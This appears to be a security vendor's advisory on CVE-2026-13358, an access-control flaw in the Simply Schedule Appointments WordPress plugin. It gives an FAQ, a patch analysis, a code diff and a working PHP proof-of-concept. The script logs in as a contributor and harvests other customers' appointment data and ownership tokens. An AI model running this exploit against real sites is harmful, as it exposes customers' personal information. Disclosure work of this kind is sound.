What is CVE-2026-13358?

CVE-2026-13358 is an Insecure Direct Object Reference (IDOR) vulnerability in the Simply Schedule Appointments Booking Plugin for WordPress. It allows authenticated users with contributor-level access or higher to view appointment records of other users, including personal information and ownership tokens.

How does the vulnerability work?

The plugin’s REST endpoint /wp-json/ssa/v1/render-shortcode is registered without proper authorization checks. It accepts user-supplied parameters like customer_id and customer_information, which are used to query appointment data. Since the permission callback only requires the ‘edit_posts’ capability, any contributor can manipulate these parameters to access other users’ appointments.

What is the impact of this vulnerability?

An attacker with contributor-level access can harvest per-appointment ownership tokens and access full customer PII, including names, emails, phone numbers, and private notes. They can also read or modify appointments without authentication, leading to privacy breaches and service disruption.

Who is affected by CVE-2026-13358?

All versions of the Simply Schedule Appointments plugin up to and including 1.6.12.10 are affected. Any WordPress site with this plugin installed and having at least one user with contributor-level access is at risk.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If it is 1.6.12.10 or earlier, your site is vulnerable. You can also review your user roles to see if any contributor-level accounts exist.

What is the patched version and how do I update?

The patched version is 1.6.12.11. Update the plugin from the WordPress admin dashboard or by downloading the latest version from wordpress.org. Ensure automatic updates are enabled for future security fixes.

What does the patch change?

The patch adds capability checks in the shortcode handlers. For ssa_past_appointments and ssa_upcoming_appointments, it overrides customer_id and customer_information with the current user’s own data unless the user has the ‘ssa_manage_others_appointments’ capability. This prevents unauthorized access to other users’ records.

What is the CVSS score and what does it mean?

The CVSS score is 6.5 (Medium). This reflects a high confidentiality impact with low attack complexity and low privileges required. In practice, it means an attacker with a low-level account can easily access sensitive data, but the attack requires an authenticated account.

How does the proof of concept (PoC) demonstrate the issue?

The PoC logs in as a contributor, then sends a crafted request to the render-shortcode endpoint with customer_id and customer_information parameters. The response contains the victim’s appointment data and ownership tokens, proving the IDOR. This demonstrates the ease of exploitation.

Are there any temporary mitigations if I cannot update immediately?

As a temporary measure, you can restrict contributor-level access by removing or reassigning such accounts. You can also use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint. However, updating the plugin is the only complete fix.

What is the root cause of this vulnerability?

The root cause is the lack of authorization checks in the REST endpoint and the appointment model’s query method. The plugin fails to verify that the requesting user owns the appointment records being accessed, allowing IDOR attacks.

How can I protect my site from similar vulnerabilities?

Keep all plugins updated, regularly audit user roles to minimize low-privilege accounts, and implement security plugins that monitor for suspicious activity. Additionally, follow the principle of least privilege and review code changes from plugin updates.

Published : August 16, 2026

CVE-2026-13358: Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin <= 1.6.12.10 Authenticated (Contributor+) Insecure Direct Object Reference to Sensitive Information Exposure PoC, Patch Analysis & Rule

CVE ID CVE-2026-13358

Plugin simply-schedule-appointments

Severity Medium (CVSS 6.5)

CWE 639

Vulnerable Version 1.6.12.10

Patched Version 1.6.12.11

Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13358: This vulnerability allows authenticated attackers with contributor-level access to read appointment records belonging to arbitrary users and harvest per-appointment ownership tokens from the simply-schedule-appointments plugin versions 1.6.12.10 and earlier. The flaw is an Insecure Direct Object Reference (IDOR) exposed through a REST API endpoint that lacks proper authorization checks. The CVSS score of 6.5 reflects the high confidentiality impact combined with the low complexity and low privilege requirements for exploitation.

Root Cause: The root cause lies in the REST endpoint at /wp-json/ssa/v1/render-shortcode, which is registered unconditionally on rest_api_init in includes/class-wp-admin.php. Its permission callback requires only current_user_can(‘edit_posts’), which contributor-level users possess. Within the appointment model’s query method (includes/class-appointment-model.php), parameters like customer_id and customer_information are used to filter results without verifying the requesting user’s ownership of those records. The vulnerable ssa_past_appointments shortcode handler in includes/class-shortcodes.php directly passed user-supplied customer_id from the shortcode attributes into the query, and the REST endpoint allowed this attribute to be set remotely. The patch addresses this by adding checks in the shortcode handlers: for ssa_past_appointments (line ~824), the customer_id is pinned to the current user’s ID unless they have the ‘ssa_manage_others_appointments’ capability. Similarly, for ssa_upcoming_appointments, both customer_id and customer_information are pinned. This prevents a contributor from requesting another user’s data.

Exploitation: An attacker with contributor-level access can craft a GET request to /wp-json/ssa/v1/render-shortcode with parameters mimicking the shortcode. The proof-of-concept exploits the ssa_past_appointments shortcode handler by submitting a request like /wp-json/ssa/v1/render-shortcode?shortcode=ssa_past_appointments&customer_id=&customer_information=. The REST middleware strips internal-only parameters but does not block the customer_id or customer_information. The server then returns the HTML for the victim’s past appointments, which includes the appointment data and the embedded 32-character ownership tokens. These tokens, once harvested, can be used to access the /wp-json/ssa/v1/appointments/ endpoint without any authentication to read or modify the appointment, including customer PII like names, emails, and phone numbers.

Patch Analysis: The patch (version 1.6.12.11) rectifies the IDOR by enforcing strict ownership controls in the shortcode handlers. The new code in includes/class-shortcodes.php for ssa_past_appointments and ssa_upcoming_appointments now checks if the current user lacks the ‘ssa_manage_others_appointments’ capability. If they lack it, the code overrides any user-supplied customer_id and customer_information values with the logged-in user’s own ID and email. This prevents the query from ever accessing another user’s records. Additionally, the patch includes a more comprehensive fix for the staff appointment scope in the admin dashboard widget, pinning staff_ids_any to the current user’s staff ID. While the patch includes other fixes (e.g., for SQL injection via forbidden params, which is a separate issue), the core IDOR fix is the capability check that overrides the user-controlled parameters.

Impact: Successful exploitation allows a contributor-level attacker to access the Personal Identifiable Information (PII) of any customer with appointments in the system. This includes names, email addresses, phone numbers, and private notes. Furthermore, by harvesting the appointment ownership tokens from the HTML response, the attacker can interact with the appointment data without any authentication. This could lead to unauthorized modification of appointments, causing disruption to services, and a complete privacy breach, with significant legal and reputational consequences for the site owner. The vulnerability’s ease of exploitation, requiring only a low-privilege account, makes it a severe threat.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/simply-schedule-appointments/includes/class-appointment-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-model.php
@@ -380,6 +380,64 @@
 	}

 	/**
+	 * Mint a server-signed proof-of-browser token, bound to one appointment
+	 * type. Returned alongside the availability slots so only a client that
+	 * actually ran the booking flow can obtain one — a script that harvested
+	 * the site-wide public nonce cannot forge it. Stateless: the token carries
+	 * no expiry and no server-side use counter, so a cached availability
+	 * response shared across many legitimate visitors never gets rejected.
+	 * Verified on create by verify_booking_token().
+	 *
+	 * @param int $appointment_type_id
+	 * @return string
+	 */
+	public function mint_booking_token( $appointment_type_id ) {
+		$atid    = (int) $appointment_type_id;
+		$rand    = wp_generate_password( 16, false );
+		$payload = $atid . '.' . $rand;
+		$sig     = hash_hmac( 'sha256', $payload, wp_salt( 'nonce' ) );
+
+		return base64_encode( $payload . '.' . $sig );
+	}
+
+	/**
+	 * Verify a token from mint_booking_token(): valid signature, bound to the
+	 * same appointment type.
+	 *
+	 * @param string $token
+	 * @param int    $appointment_type_id
+	 * @return bool
+	 */
+	public function verify_booking_token( $token, $appointment_type_id ) {
+		if ( ! is_string( $token ) || '' === $token ) {
+			return false;
+		}
+
+		$decoded = base64_decode( $token, true );
+		if ( false === $decoded ) {
+			return false;
+		}
+
+		$parts = explode( '.', $decoded );
+		if ( 3 !== count( $parts ) ) {
+			return false;
+		}
+
+		list( $atid, $rand, $sig ) = $parts;
+
+		$expected = hash_hmac( 'sha256', $atid . '.' . $rand, wp_salt( 'nonce' ) );
+		if ( ! hash_equals( $expected, (string) $sig ) ) {
+			return false;
+		}
+
+		if ( (int) $atid !== (int) $appointment_type_id ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
 	 * Fields an unprivileged caller is allowed to submit when updating an
 	 * appointment. Matches the booking app's client-side `bookingProps`
 	 * allowlist plus the request-routing params used by update_item.
@@ -1124,6 +1182,78 @@
 			);
 		}

+		// Proof-of-browser: anonymous bookings must carry a server-minted token
+		// (issued with the availability slots) and an empty honeypot. This stops
+		// a script that harvested the site-wide public nonce from POSTing
+		// straight to this endpoint — it must run the real availability->book
+		// flow to obtain a valid, type-bound token. Logged-in users
+		// are exempt: they authenticated against WordPress and carry a real
+		// per-user nonce, so this anti-bot gate adds risk without benefit for
+		// them. Privileged (admin) bookings are exempt; the filter is an escape
+		// hatch for sites with legitimate server-to-server integrations.
+		//
+		// Opt-in: off by default so the ~70k existing installs are unaffected.
+		// Sites enable it under Settings -> Developer (require_proof_token). The
+		// filter default tracks that setting so the code hook and UI agree.
+		$developer_settings = $this->plugin->developer_settings->get();
+		$require_token       = ! empty( $developer_settings['require_proof_token'] );
+		$booking_token       = $request->get_header( 'x_ssa_booking_token' );
+		if ( ! is_user_logged_in() && ! $this->is_privileged_appointment_request() && apply_filters( 'ssa/booking/require_proof_token', $require_token, $params ) ) {
+			$honeypot = $request->get_param( 'ssa_hp' );
+			$token_ok = ! empty( $booking_token )
+				&& $this->verify_booking_token( $booking_token, $params['appointment_type_id'] );
+
+			if ( ! empty( $honeypot ) || ! $token_ok ) {
+				return array(
+					'error' => array(
+						'code'    => 'booking_token_invalid',
+						'message' => __( 'There was a problem booking your appointment. Please reload the page and try again.', 'simply-schedule-appointments' ),
+						'data'    => array(),
+					),
+				);
+			}
+		}
+
+		// Visitors must satisfy the appointment type's own required fields. The
+		// front-end enforces these, but a direct REST POST bypasses that — mirror
+		// the rule server-side. Admin/privileged bookings are exempt, and so are
+		// reserved-status creates (pending_form / pending_payment): form and
+		// payment integrations create the appointment first and collect/validate
+		// the customer fields in a later step, so they are legitimately absent
+		// at create time.
+		$incoming_status = isset( $params['status'] ) ? $params['status'] : '';
+		if ( ! $this->is_privileged_appointment_request() && ! self::is_a_reserved_status( $incoming_status ) ) {
+			$submitted = ( isset( $params['customer_information'] ) && is_array( $params['customer_information'] ) ) ? $params['customer_information'] : array();
+			$missing   = array();
+
+			// custom_customer_information can be a string on Basic — guard is_array.
+			if ( is_array( $appointment_type->custom_customer_information ) ) {
+				foreach ( $appointment_type->custom_customer_information as $field ) {
+					if ( empty( $field['display'] ) || empty( $field['required'] ) || empty( $field['field'] ) ) {
+						continue;
+					}
+					$label = $field['field'];
+					$value = isset( $submitted[ $label ] ) ? $submitted[ $label ] : '';
+					if ( is_array( $value ) ) {
+						$value = implode( '', $value );
+					}
+					if ( '' === trim( (string) $value ) ) {
+						$missing[] = $label;
+					}
+				}
+			}
+
+			if ( ! empty( $missing ) ) {
+				return array(
+					'error' => array(
+						'code'    => 'required_fields_missing',
+						'message' => __( 'Please complete all required fields before booking.', 'simply-schedule-appointments' ),
+						'data'    => array( 'fields' => $missing ),
+					),
+				);
+			}
+		}
+
 		if ( ! empty( $params['customer_information']['Email'] ) ) {
 			$user_by_email = get_user_by( 'email', sanitize_text_field( $params['customer_information']['Email'] ) );
 			if ( ! empty( $user_by_email ) ) {
@@ -1666,6 +1796,17 @@
 			unset( $params['format'] );
 		}

+		// The admin app marks its date-range view requests with admin_date_range;
+		// that view used to send number=-1 (no LIMIT), which hydrates every
+		// appointment in the range and can exhaust PHP memory on high-volume
+		// sites. Cap only requests carrying the marker.
+		if ( ! empty( $params['admin_date_range'] ) ) {
+			unset( $params['admin_date_range'] );
+			if ( empty( $params['number'] ) || (int) $params['number'] < 1 || (int) $params['number'] > 200 ) {
+				$params['number'] = 200;
+			}
+		}
+
 		$data = $this->query( $params );

 		// If complete_group is set, fetch additional appointments to complete any partial groups
@@ -2097,12 +2238,17 @@

 		$meta_keys_and_values = array();
 		$excluded_keys        = array( 'id', 'context' );
+		$url_meta_keys        = array( 'booking_url', 'formidable_entry_admin_url', 'gravity_entry_admin_url' );
 		foreach ( $metas as $key => $value ) {
 			if ( in_array( $key, $excluded_keys ) ) {
 				continue;
 			}

-			$meta_keys_and_values[ $key ] = esc_attr( trim( $value ) );
+			if ( in_array( $key, $url_meta_keys, true ) ) {
+				$meta_keys_and_values[ $key ] = esc_url_raw( trim( $value ) );
+			} else {
+				$meta_keys_and_values[ $key ] = esc_attr( trim( $value ) );
+			}
 		}

 		$this->plugin->{$this->slug.'_meta_model'}->bulk_meta_update( $appointment_id, $meta_keys_and_values );
--- a/simply-schedule-appointments/includes/class-appointment-type-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-type-model.php
@@ -1330,6 +1330,10 @@
 			'error' => '',
 			'message' => apply_filters('ssa/appointment_type/availability/display_message', '' ),
 			'data' => $bookable_start_datetime_strings,
+			// Proof-of-browser token for the booking flow. Stateless (no expiry,
+			// no single-use), so it stays valid even when the availability
+			// response is served from cache to many visitors. Verified on create.
+			'booking_token' => $this->plugin->appointment_model->mint_booking_token( $appointment_type_id ),
 		);

 		return $response;
--- a/simply-schedule-appointments/includes/class-developer-settings.php
+++ b/simply-schedule-appointments/includes/class-developer-settings.php
@@ -55,8 +55,8 @@
 		// Caution: When schema modified, please modify usage in ssa_uninstall function in simply-schedule-appointments.php
 		$this->schema = array(
 			// YYYY-MM-DD
-			'version' => '2024-04-09',
-			'fields' => array(
+			'version' => '2026-06-25',
+			'fields' => array(
 				'enabled' => array(
 					'name' => 'enabled',
 					'default_value' => true,
@@ -67,6 +67,11 @@
 					'default_value' => false,
 				),

+				'require_proof_token' => array(
+					'name' => 'require_proof_token',
+					'default_value' => false,
+				),
+
 				'separate_appointment_type_availability' => array(
 					'name' => 'separate_appointment_type_availability',
 					'default_value' => apply_filters( 'ssa/get_booked_periods/should_separate_availability_for_appointment_types', false ),
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.12.10';
+	const VERSION = '1.6.12.11';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.12.10';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.12.11';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.12.10';
+	const MINIMUM_PHP_VERSION = '1.6.12.11';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.12.10
+	 *  @version    1.6.12.11
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/includes/class-rest-middleware.php
+++ b/simply-schedule-appointments/includes/class-rest-middleware.php
@@ -30,7 +30,14 @@
 	}

 	/**
-	 * Strip internal-only parameters from incoming SSA REST requests.
+	 * Strip internal-only parameters from every incoming REST request.
+	 *
+	 * The strip runs for all routes, not just SSA-namespaced ones. Gating it on
+	 * the request route is unsafe: WP matches routes case-insensitively, so a
+	 * route filter like '/ssa/' is bypassed by requesting '/SSA/...', which lets
+	 * a forbidden key (e.g. append_where_sql) survive into a controller and be
+	 * concatenated into SQL. These keys are never legitimate on any HTTP request,
+	 * so stripping unconditionally makes that bypass class unreachable.
 	 *
 	 * WP_REST_Request::offsetUnset removes the key from every parameter source
 	 * (URL, GET, POST, JSON body, form-urlencoded body, defaults), so by the
@@ -46,10 +53,6 @@
 		if ( ! ( $request instanceof WP_REST_Request ) ) {
 			return $result;
 		}
-
-		if ( strpos( $request->get_route(), '/ssa/' ) !== 0 ) {
-			return $result;
-		}

 		foreach ( self::FORBIDDEN_REQUEST_PARAMS as $forbidden ) {
 			unset( $request[ $forbidden ] );
--- a/simply-schedule-appointments/includes/class-shortcodes.php
+++ b/simply-schedule-appointments/includes/class-shortcodes.php
@@ -762,6 +762,34 @@
 			'ssa_admin_upcoming_appointments'
 		);

+		// Non-managers are pinned to their own staff scope, recomputed from
+		// capability rather than trusted from $atts. Two traps make the atts
+		// unsafe as a filter:
+		//  (1) shortcode atts are always strings, and the staff WHERE clause is
+		//      only appended when staff_ids_any is an array (see
+		//      SSA_Staff_Appointment_Model::filter_query_by_staff_ids) -- a passed
+		//      value silently drops the filter and the query returns every row;
+		//  (2) staff_appointment_model registers that WHERE-clause filter in its
+		//      hooks(), and its file is stripped from Pro/Plus/Basic, so on those
+		//      editions the filter never runs at all.
+		// When the query cannot be scoped (no staff record, or the model is
+		// absent) return nothing rather than leak the whole appointment book.
+		if ( ! current_user_can( 'ssa_manage_others_appointments' ) ) {
+			$staff_id = $this->plugin->staff_model->get_staff_id_for_user_id( get_current_user_id() );
+
+			if ( ! current_user_can( 'ssa_manage_appointments' )
+				|| empty( $staff_id )
+				|| $this->plugin->staff_appointment_model instanceof SSA_Missing ) {
+				return '';
+			}
+
+			// customer_id is honored as passed rather than cleared: it is only ever ANDed
+			// into the query (SSA_Appointment_Model::filter_where_conditions), so alongside
+			// the staff clause below it can narrow this staff member's own appointments but
+			// never reach outside them.
+			$atts['staff_ids_any'] = array( (int) $staff_id );
+		}
+
 		ob_start();
 		include $this->plugin->dir( 'templates/dashboard/dashboard-upcoming-appointments-widget.php' );
 		$output = ob_get_clean();
@@ -793,7 +821,15 @@
 			$atts,
 			'ssa_upcoming_appointments'
 		);
-
+
+		// IDOR guard: customer_id is an overridable shortcode att. Only a user
+		// allowed to manage others' appointments may read another customer's
+		// data; everyone else is pinned to their own ID regardless of the
+		// supplied value.
+		if ( ! current_user_can( 'ssa_manage_others_appointments' ) ) {
+			$atts['customer_id'] = get_current_user_id();
+		}
+
 		ob_start();
 		include $this->plugin->dir( 'templates/customer/past-appointments.php' );
 		$output = ob_get_clean();
@@ -846,6 +882,16 @@
 			'ssa_upcoming_appointments'
 		);

+		// IDOR guard: customer_id and customer_information (email) are both
+		// overridable atts, and appointment_model->query() ORs them together, so
+		// either lever could read another customer's appointments. Only a user
+		// allowed to manage others' appointments may do so; everyone else is
+		// pinned to their own ID and email.
+		if ( ! current_user_can( 'ssa_manage_others_appointments' ) ) {
+			$atts['customer_id']          = get_current_user_id();
+			$atts['customer_information'] = wp_get_current_user()->user_email;
+		}
+
 		ob_start();
 		include $this->plugin->dir( 'templates/customer/upcoming-appointments.php' );
 		$output = ob_get_clean();
--- a/simply-schedule-appointments/includes/class-wp-admin.php
+++ b/simply-schedule-appointments/includes/class-wp-admin.php
@@ -54,6 +54,7 @@

 		add_action( 'admin_print_scripts', array( $this, 'remove_admin_notices' ) );
 		add_filter( 'plugin_action_links', array( $this, 'plugin_action_upgrade_link'), 10, 2 );
+		add_action( 'admin_print_styles-plugins.php', array( $this, 'plugin_action_upgrade_link_styles' ) );

 		// rest api
 		add_action( 'rest_api_init', array( $this, 'register_wp_endpoints' ) );
@@ -237,6 +238,18 @@

 		$ssa_pricing_url = 'https://simplyscheduleappointments.com/pricing/?utm_source=plugin&utm_medium=ads&utm_campaign=upgrade&utm_content=upgrade-plugin-listing';

+		$upgrade_link = '<a class="ssa-basic-upgrade-link-admin-dash" target="_blank" href="' . $ssa_pricing_url . '">' . __('Upgrade', 'simply-schedule-appointments') . '</a>';
+
+		$links['upgrade'] = $upgrade_link;
+		return $links;
+
+	}
+
+	public function plugin_action_upgrade_link_styles() {
+		if ( $this->plugin->get_current_edition() !== 1 ) {
+			return;
+		}
+
 		echo "<style id='ssa-admin-dash-upgrade-link-css'>
 			.ssa-basic-upgrade-link-admin-dash {
 				padding: 2px 4px;
@@ -245,18 +258,12 @@
 				color: #fff;
 				border: none;
 			}
-
+
 			.ssa-basic-upgrade-link-admin-dash:hover {
 				background-color: #046a66;
 				color: white;
 			}
 		</style>";
-
-		$upgrade_link = '<a class="ssa-basic-upgrade-link-admin-dash" target="_blank" href="' . $ssa_pricing_url . '">' . __('Upgrade', 'simply-schedule-appointments') . '</a>';
-
-		$links['upgrade'] = $upgrade_link;
-		return $links;
-
 	}

 	public function register_admin_menu() {
--- a/simply-schedule-appointments/languages/admin-app-translations.php
+++ b/simply-schedule-appointments/languages/admin-app-translations.php
@@ -529,6 +529,11 @@
         'label' => __( 'Enqueue scripts everywhere', 'simply-schedule-appointments' ),
         'help' => __( 'Load scripts on every page. Can be helpful if there are issues with loading the booking form via ajax', 'simply-schedule-appointments' ),
       ),
+      'require_proof_token' =>
+      array (
+        'label' => __( 'Reduce spam bookings', 'simply-schedule-appointments' ),
+        'help' => __( 'Helps block automated spam by checking that bookings come from the booking form. Turn this on if you're getting spam bookings.', 'simply-schedule-appointments' ),
+      ),
       'beta_updates' =>
       array (
         'title' => __( 'Beta features', 'simply-schedule-appointments' ),
--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.12.10
+ * Version:     1.6.12.11
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.12.10
+ * @version 1.6.12.11
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -207,7 +207,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.12.10';
+	const VERSION = '1.6.12.11';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'c347122ca311384c8fee9637d7565e25f2bc6011',
+        'reference' => '89e0c871dbfd4cdf7054697cc9c69423aa9cbe8e',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'c347122ca311384c8fee9637d7565e25f2bc6011',
+            'reference' => '89e0c871dbfd4cdf7054697cc9c69423aa9cbe8e',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13358 - Authenticated (Contributor+) IDOR to Sensitive Information Exposure

// Configuration
$target_url = 'https://your-wordpress-site.com'; // Change this to the target's base URL
$rest_base = '/wp-json/ssa/v1/render-shortcode';
$username = 'contributor_user'; // Username for a Contributor-level account
$password = 'contributor_password'; // Password for that account

// Step 1: Authenticate as the Contributor to get a nonce and cookie
$login_url = $target_url . '/wp-login.php';
$login_data = array('log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $target_url . '/wp-admin/', 'testcookie' => '1');

// Use cURL to handle the login process, including cookies
$ch = curl_init();
$cookie_file = tempnam(sys_get_temp_dir(), 'wp_cookie');
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects to get the cookie fully set
curl_exec($ch);
curl_close($ch);

// Step 2: Get a nonce for the authenticated user. This is done by fetching the admin page and parsing the nonce.
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
$admin_output = curl_exec($ch);
curl_close($ch);

// Extract nonce. The REST API nonce is often in a 'wpApiSettings' object or 'wp_rest' nonce.
preg_match('/wpApiSettings":{"root":"(?:.*?)","nonce":"([a-f0-9]+)"/', $admin_output, $matches);
if (!isset($matches[1])) {
    // Fallback: search for 'wp_rest' nonce in the footer
    preg_match('/wp_rest" value="([^"]+)"/', $admin_output, $matches_footer);
    if (!isset($matches_footer[1])) {
        die("Could not find REST API nonce. Login may have failed.");
    }
    $nonce = $matches_footer[1];
} else {
    $nonce = $matches[1];
}

// Step 3: Exploit - Query the REST endpoint to render the shortcode with a target customer_id.
// We will attempt to access customer ID 1 (typically the site admin).
$target_customer_id = 1; // Change this to the ID of the victim user.

$rest_url = $target_url . $rest_base . '?shortcode=ssa_past_appointments&customer_id=' . $target_customer_id;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-WP-Nonce: ' . $nonce));
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Analyze the response for sensitive data (customer info + 32-char tokens)
if ($response) {
    echo "Exploit Response:n";
    echo substr($response, 0, 2000) . "n"; // Print first 2000 characters
    echo "nn--- Searching for ownership tokens (32-character hashes) ---n";
    preg_match_all('/[a-f0-9]{32}/i', $response, $tokens);
    if (!empty($tokens[0])) {
        echo "Found tokens:n";
        print_r(array_unique($tokens[0]));
    } else {
        echo "No tokens found. This might be because the customer ID is invalid or protected.n";
    }
} else {
    echo "Exploit failed. No response received.n";
}

// Clean up cookie file
unlink($cookie_file);
?>

Frequently Asked Questions

What is CVE-2026-13358?
Vulnerability overview
CVE-2026-13358 is an Insecure Direct Object Reference (IDOR) vulnerability in the Simply Schedule Appointments Booking Plugin for WordPress. It allows authenticated users with contributor-level access or higher to view appointment records of other users, including personal information and ownership tokens.
How does the vulnerability work?
Technical explanation
The plugin’s REST endpoint /wp-json/ssa/v1/render-shortcode is registered without proper authorization checks. It accepts user-supplied parameters like customer_id and customer_information, which are used to query appointment data. Since the permission callback only requires the ‘edit_posts’ capability, any contributor can manipulate these parameters to access other users’ appointments.
What is the impact of this vulnerability?
Potential consequences
An attacker with contributor-level access can harvest per-appointment ownership tokens and access full customer PII, including names, emails, phone numbers, and private notes. They can also read or modify appointments without authentication, leading to privacy breaches and service disruption.
Who is affected by CVE-2026-13358?
Affected versions and users
All versions of the Simply Schedule Appointments plugin up to and including 1.6.12.10 are affected. Any WordPress site with this plugin installed and having at least one user with contributor-level access is at risk.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin dashboard under Plugins. If it is 1.6.12.10 or earlier, your site is vulnerable. You can also review your user roles to see if any contributor-level accounts exist.
What is the patched version and how do I update?
Remediation
The patched version is 1.6.12.11. Update the plugin from the WordPress admin dashboard or by downloading the latest version from wordpress.org. Ensure automatic updates are enabled for future security fixes.
What does the patch change?
Patch details
The patch adds capability checks in the shortcode handlers. For ssa_past_appointments and ssa_upcoming_appointments, it overrides customer_id and customer_information with the current user’s own data unless the user has the ‘ssa_manage_others_appointments’ capability. This prevents unauthorized access to other users’ records.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 6.5 (Medium). This reflects a high confidentiality impact with low attack complexity and low privileges required. In practice, it means an attacker with a low-level account can easily access sensitive data, but the attack requires an authenticated account.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The PoC logs in as a contributor, then sends a crafted request to the render-shortcode endpoint with customer_id and customer_information parameters. The response contains the victim’s appointment data and ownership tokens, proving the IDOR. This demonstrates the ease of exploitation.
Are there any temporary mitigations if I cannot update immediately?
Workarounds
As a temporary measure, you can restrict contributor-level access by removing or reassigning such accounts. You can also use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint. However, updating the plugin is the only complete fix.
What is the root cause of this vulnerability?
Underlying issue
The root cause is the lack of authorization checks in the REST endpoint and the appointment model’s query method. The plugin fails to verify that the requesting user owns the appointment records being accessed, allowing IDOR attacks.
How can I protect my site from similar vulnerabilities?
Best practices
Keep all plugins updated, regularly audit user roles to minimize low-privilege accounts, and implement security plugins that monitor for suspicious activity. Additionally, follow the principle of least privilege and review code changes from plugin updates.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started